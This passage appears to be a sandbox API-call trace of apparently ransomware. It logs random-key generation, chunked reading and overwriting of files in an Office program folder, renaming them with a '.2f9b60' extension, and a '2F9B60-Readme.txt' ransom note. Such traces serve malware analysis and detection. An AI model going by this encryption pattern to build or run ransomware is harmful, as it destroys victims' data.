| out: Seed=0x37fcf990) returned 0x3beaf3e7 [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x6a9a6059 [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0xdddb351 [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x55dee19e [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x612bbf06 [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x67e147c0 [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x5e96007c [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x64d97c69 [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x21ef1908 [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x62f97ded [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x50900fe5 [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x573aa03e [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x3e35ea35 [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x3ddf4438 [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x626c32a7 [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x757f7635 [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x44acb92c [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x367f4e7b [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x1e1e4877 [0114.753] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x6eef0ab1 [0114.753] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x291f3bb5 [0114.753] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x3716ede [0114.753] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x2d4be7ea [0114.767] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.767] ReadFile (in: hFile=0x14f8, lpBuffer=0x41eea520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37fcfa00, lpOverlapped=0x0 | out: lpBuffer=0x41eea520*, lpNumberOfBytesRead=0x37fcfa00*=0x3c00, lpOverlapped=0x0) returned 1 [0114.768] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260410 [0114.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260410) returned 1 [0114.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eee130 [0114.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260410 [0114.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263770 [0114.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263770) returned 1 [0114.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.770] WriteFile (in: hFile=0x14f8, lpBuffer=0x41eee130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37fcfa00, lpOverlapped=0x0 | out: lpBuffer=0x41eee130*, lpNumberOfBytesWritten=0x37fcfa00*=0x3c00, lpOverlapped=0x0) returned 1 [0130.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eee130) returned 1 [0130.031] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.031] ReadFile (in: hFile=0x14f8, lpBuffer=0x41eea520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37fcfa00, lpOverlapped=0x0 | out: lpBuffer=0x41eea520*, lpNumberOfBytesRead=0x37fcfa00*=0x3c00, lpOverlapped=0x0) returned 1 [0130.032] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0130.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a00 [0130.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265a00) returned 1 [0130.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eee130 [0130.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a00 [0130.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a30 [0130.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265a30) returned 1 [0130.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0130.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.033] WriteFile (hFile=0x14f8, lpBuffer=0x41eee130, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37fcfa00, lpOverlapped=0x0) [0170.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eee130) returned 1 [0170.978] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x18798, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.978] ReadFile (in: hFile=0x14f8, lpBuffer=0x41eea520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37fcfa00, lpOverlapped=0x0 | out: lpBuffer=0x41eea520*, lpNumberOfBytesRead=0x37fcfa00*=0x3c00, lpOverlapped=0x0) returned 1 [0171.145] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x18798, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ce60 [0171.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ce60) returned 1 [0171.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ce2d00 [0171.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ce60 [0171.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cef0 [0171.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cef0) returned 1 [0171.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.148] WriteFile (in: hFile=0x14f8, lpBuffer=0x41ce2d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37fcfa00, lpOverlapped=0x0 | out: lpBuffer=0x41ce2d00*, lpNumberOfBytesWritten=0x37fcfa00*=0x3c00, lpOverlapped=0x0) returned 1 [0193.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ce2d00) returned 1 [0193.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf0c0 [0193.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ce60) returned 1 [0193.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265a00) returned 1 [0193.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260410) returned 1 [0193.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eea520) returned 1 [0193.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20260410 [0193.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0193.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe880 [0193.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a0f0 [0193.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a0f0) returned 1 [0193.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x4313a0f0 [0193.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a120 [0193.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a150 [0193.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe880) returned 1 [0193.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0193.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x146) returned 0x1cebd150 [0193.120] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0193.120] WriteFile (in: hFile=0x14f8, lpBuffer=0x1cebd150*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x37fcfab0, lpOverlapped=0x0 | out: lpBuffer=0x1cebd150*, lpNumberOfBytesWritten=0x37fcfab0*=0x146, lpOverlapped=0x0) returned 1 [0201.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0201.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aba60 [0201.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aba60) returned 1 [0201.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f8740 [0201.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aba60 [0201.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abc70 [0201.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abc70) returned 1 [0201.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0201.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7aa7a0 [0201.552] sprintf (in: _Dest=0x1b7aa7a0, _Format="%c%c" | out: _Dest="63") returned 2 [0201.552] sprintf (in: _Dest=0x1b7aa7a2, _Format="%c%c" | out: _Dest="26") returned 2 [0201.552] sprintf (in: _Dest=0x1b7aa7a4, _Format="%c%c" | out: _Dest="45") returned 2 [0201.552] sprintf (in: _Dest=0x1b7aa7a6, _Format="%c%c" | out: _Dest="35") returned 2 [0201.552] sprintf (in: _Dest=0x1b7aa7a8, _Format="%c%c" | out: _Dest="24") returned 2 [0201.552] sprintf (in: _Dest=0x1b7aa7aa, _Format="%c%c" | out: _Dest="ae") returned 2 [0201.552] sprintf (in: _Dest=0x1b7aa7ac, _Format="%c%c" | out: _Dest="92") returned 2 [0201.552] sprintf (in: _Dest=0x1b7aa7ae, _Format="%c%c" | out: _Dest="d0") returned 2 [0201.552] sprintf (in: _Dest=0x1b7aa7b0, _Format="%c%c" | out: _Dest="f8") returned 2 [0201.552] sprintf (in: _Dest=0x1b7aa7b2, _Format="%c%c" | out: _Dest="a8") returned 2 [0201.552] sprintf (in: _Dest=0x1b7aa7b4, _Format="%c%c" | out: _Dest="b7") returned 2 [0201.553] sprintf (in: _Dest=0x1b7aa7b6, _Format="%c%c" | out: _Dest="96") returned 2 [0201.553] sprintf (in: _Dest=0x1b7aa7b8, _Format="%c%c" | out: _Dest="06") returned 2 [0201.553] sprintf (in: _Dest=0x1b7aa7ba, _Format="%c%c" | out: _Dest="a1") returned 2 [0201.553] sprintf (in: _Dest=0x1b7aa7bc, _Format="%c%c" | out: _Dest="c7") returned 2 [0201.553] sprintf (in: _Dest=0x1b7aa7be, _Format="%c%c" | out: _Dest="78") returned 2 [0201.553] sprintf (in: _Dest=0x1b7aa7c0, _Format="%c%c" | out: _Dest="33") returned 2 [0201.553] sprintf (in: _Dest=0x1b7aa7c2, _Format="%c%c" | out: _Dest="22") returned 2 [0201.553] sprintf (in: _Dest=0x1b7aa7c4, _Format="%c%c" | out: _Dest="cc") returned 2 [0201.553] sprintf (in: _Dest=0x1b7aa7c6, _Format="%c%c" | out: _Dest="17") returned 2 [0201.553] RtlInitAnsiString (in: DestinationString=0x37fcfb28, SourceString="6326453524ae92d0f8a8b79606a1c7783322cc17" | out: DestinationString="6326453524ae92d0f8a8b79606a1c7783322cc17") [0201.553] RtlAnsiStringToUnicodeString (in: DestinationString=0x37fcfaf8, SourceString="6326453524ae92d0f8a8b79606a1c7783322cc17", AllocateDestinationString=1 | out: DestinationString="6326453524ae92d0f8a8b79606a1c7783322cc17") returned 0x0 [0201.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d4f0 [0201.554] wcscat (in: _Dest=0x43196cc0, _Source="6326453524" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\6326453524") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\6326453524" [0201.554] wcscat (in: _Dest=0x43196cc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\6326453524.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\6326453524.2f9b60" [0201.554] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\6326453524.2f9b60", NtPathName=0x37fcfad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\6326453524.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x431a7640 [0222.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a7640) returned 1 [0222.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c33ad0) returned 1 [0222.758] NtQueryInformationFile (in: FileHandle=0x14f8, IoStatusBlock=0x37fcfb38, FileInformation=0x37fcfb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x37fcfb38, FileInformation=0x37fcfb48) returned 0x0 [0222.758] NtSetInformationFile (FileHandle=0x14f8, IoStatusBlock=0x37fcfb38, FileInformation=0x37fcfb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43196cc0) returned 1 [0223.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d4f0) returned 1 [0223.265] FlushFileBuffers (hFile=0x14f8) returned 1 [0224.003] CloseHandle (hObject=0x14f8) returned 1 [0224.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x431cb120 [0224.904] wcscpy (in: _Dest=0x431cb120, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0224.904] wcscat (in: _Dest=0x431cb120, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" [0224.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\2f9b60-readme.txt")) returned 0x20 [0224.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb120) returned 1 [0224.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5e80) returned 1 Thread: id = 1213 os_tid = 0xe40 [0114.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam")) returned 0x20 [0114.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM", dwFileAttributes=0x20) returned 1 [0114.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b4 [0114.775] GetFileSizeEx (in: hFile=0x14b4, lpFileSize=0x384af6c0 | out: lpFileSize=0x384af6c0*=50568) returned 1 [0114.775] SetFilePointerEx (in: hFile=0x14b4, liDistanceToMove=0xc584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.775] ReadFile (in: hFile=0x14b4, lpBuffer=0x384af640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x384af688, lpOverlapped=0x0 | out: lpBuffer=0x384af640*, lpNumberOfBytesRead=0x384af688*=0x4, lpOverlapped=0x0) returned 1 [0114.779] SetFilePointerEx (in: hFile=0x14b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263770 [0114.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0114.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625a0 [0114.780] NtQuerySystemTime (in: CurrentTime=0x384af580 | out: CurrentTime=0x384af580*=132462177202366000) returned 0x0 [0114.780] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x7b8b273d [0114.780] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x3f2f902b [0114.780] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x286b934e [0114.780] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x50e19edd [0114.780] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x20358801 [0114.780] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0xb879578 [0114.780] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x435df30a [0114.780] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x315f3125 [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x4042bbba [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x76e42fe2 [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x6fe8eaaa [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x69129a2e [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x710d73c1 [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x4beeed96 [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x660cf954 [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x3f4f94a7 [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x5f944309 [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x791f5831 [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x7556c1a4 [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0xfbb074c [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x5c37766c [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x44262cf2 [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x352c31b5 [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x3f48e223 [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x6630e2a8 [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x55127fed [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0xc005f56 [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x4b9fff70 [0114.781] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x2826731a [0114.782] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x4a21af5b [0114.782] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x75808b04 [0114.782] RtlRandomEx (in: Seed=0x384af570 | out: Seed=0x384af570) returned 0x6a8ed3c0 [0114.793] SetFilePointerEx (in: hFile=0x14b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.793] ReadFile (in: hFile=0x14b4, lpBuffer=0x41ee2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x384af5e0, lpOverlapped=0x0 | out: lpBuffer=0x41ee2d00*, lpNumberOfBytesRead=0x384af5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0114.794] SetFilePointerEx (in: hFile=0x14b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263770 [0114.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263770) returned 1 [0114.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ee6910 [0114.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263770 [0114.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625a0 [0114.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625a0) returned 1 [0114.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.795] WriteFile (in: hFile=0x14b4, lpBuffer=0x41ee6910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x384af5e0, lpOverlapped=0x0 | out: lpBuffer=0x41ee6910*, lpNumberOfBytesWritten=0x384af5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0114.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ee6910) returned 1 [0114.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ee2d00) returned 1 [0114.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625a0 [0114.799] SetFilePointerEx (in: hFile=0x14b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0114.799] WriteFile (in: hFile=0x14b4, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x384af690, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x384af690*=0x104, lpOverlapped=0x0) returned 1 [0114.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0114.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e90) returned 1 [0114.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b7d5a50 [0114.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0114.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0114.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e00) returned 1 [0114.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x20263e00 [0114.805] sprintf (in: _Dest=0x20263e00, _Format="%c%c" | out: _Dest="7d") returned 2 [0114.805] sprintf (in: _Dest=0x20263e02, _Format="%c%c" | out: _Dest="44") returned 2 [0114.805] sprintf (in: _Dest=0x20263e04, _Format="%c%c" | out: _Dest="2e") returned 2 [0114.805] sprintf (in: _Dest=0x20263e06, _Format="%c%c" | out: _Dest="e0") returned 2 [0114.805] sprintf (in: _Dest=0x20263e08, _Format="%c%c" | out: _Dest="fa") returned 2 [0114.805] sprintf (in: _Dest=0x20263e0a, _Format="%c%c" | out: _Dest="a3") returned 2 [0114.805] sprintf (in: _Dest=0x20263e0c, _Format="%c%c" | out: _Dest="6c") returned 2 [0114.805] sprintf (in: _Dest=0x20263e0e, _Format="%c%c" | out: _Dest="9b") returned 2 [0114.805] sprintf (in: _Dest=0x20263e10, _Format="%c%c" | out: _Dest="c3") returned 2 [0114.805] sprintf (in: _Dest=0x20263e12, _Format="%c%c" | out: _Dest="e2") returned 2 [0114.805] sprintf (in: _Dest=0x20263e14, _Format="%c%c" | out: _Dest="83") returned 2 [0114.806] sprintf (in: _Dest=0x20263e16, _Format="%c%c" | out: _Dest="f3") returned 2 [0114.806] sprintf (in: _Dest=0x20263e18, _Format="%c%c" | out: _Dest="fd") returned 2 [0114.806] sprintf (in: _Dest=0x20263e1a, _Format="%c%c" | out: _Dest="d9") returned 2 [0114.806] sprintf (in: _Dest=0x20263e1c, _Format="%c%c" | out: _Dest="50") returned 2 [0114.806] sprintf (in: _Dest=0x20263e1e, _Format="%c%c" | out: _Dest="98") returned 2 [0114.806] sprintf (in: _Dest=0x20263e20, _Format="%c%c" | out: _Dest="5e") returned 2 [0114.806] sprintf (in: _Dest=0x20263e22, _Format="%c%c" | out: _Dest="c1") returned 2 [0114.806] RtlInitAnsiString (in: DestinationString=0x384af708, SourceString="7d442ee0faa36c9bc3e283f3fdd950985ec1" | out: DestinationString="7d442ee0faa36c9bc3e283f3fdd950985ec1") [0114.806] 